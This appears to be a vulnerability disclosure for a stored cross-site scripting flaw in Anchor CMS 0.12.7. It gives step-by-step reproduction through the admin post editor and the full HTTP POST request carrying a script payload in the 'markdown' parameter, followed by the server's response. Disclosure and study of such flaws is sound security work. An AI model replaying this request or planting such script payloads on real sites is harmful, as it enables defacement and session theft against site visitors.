Exploit for Anchor CMS 0.12.7 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:160891
# Exploit Title: Anchor CMS 0.12.7 - 'markdown' Stored Cross-Site Scripting  
# Date: 2021-10-01  
# Exploit Author: Ramazan Mert GÖKTEN  
# Vendor Homepage: anchorcms.com  
# Vulnerable Software: https://github.com/anchorcms/anchor-cms/releases/download/0.12.7/anchor-cms-0.12.7-bundled.zip  
# Affected Version: [ 0.12.7 ]  
# Tested on: Windows 10  
  
# Vulnerable Parameter Type: POST  
# Vulnerable Parameter: markdown  
# Attack Pattern: <script>prompt("RMG_XSS_PoC")</script>  
  
# Description  
  
Exploitation of vulnerability as shown below;  
  
1-) Entering the Admin Panel ( vulnerableapplication.com/anchor/admin )  
2-) Click Create a new post button at the Posts tab ( From "vulnerableapplication.com/anchor/admin/posts " to "vulnerableapplication.com/anchor/admin/posts/add " )  
3-) Relevant payload (<script>prompt("RMG_XSS_PoC")</script>) which was defined above entering the markdown parameter then click "save" button  
4-) Finally, turn back the home page then shown the triggered vulnerability  
  
# Proof of Concepts:  
  
Request;  
  
POST /anchor/admin/posts/add HTTP/1.1  
Host: vulnerableapplication.com  
Connection: close  
Content-Length: 234  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36  
X-Requested-With: XMLHttpRequest  
Content-Type: application/x-www-form-urlencoded  
Accept: */*  
Origin: https://vulnerableapplication.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://vulnerableapplication.com/anchor/admin/posts/add  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9  
Cookie: anchorcms=eokq2ggm8mc4ulg2ii01a92a7d1jqvof7er085tqp9mvmdk2i3h1;  
_ga=GA1.2.798164571.1610282526; _gid=GA1.2.1405266792.1610282526; _gat=1  
  
token=uyBOhuKe5lRACERuFGu9CzEqUVe9b6LgfNLFWA6rJJOjG5BPUr2XxZzUV0pMXiQn&title=xss-poc-test&markdown=%3Cscript%3Eprompt(%22RMG_XSS_PoC%22)%3C%2Fscript%3E&slug=xss-poc-test&description=&status=published&category=8&css=&js=&autosave=false  
  
Response;  
  
HTTP/1.1 200 OK  
Date: Sun, 10 Jan 2021 12:50:51 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
X-Robots-Tag: noindex,nofollow  
Connection: close  
Content-Type: application/json; charset=UTF-8  
Content-Length: 105  
  
{"id":"3","notification":"Your new article was  
created","redirect":"\/anchor\/admin\/posts\/edit\/3"}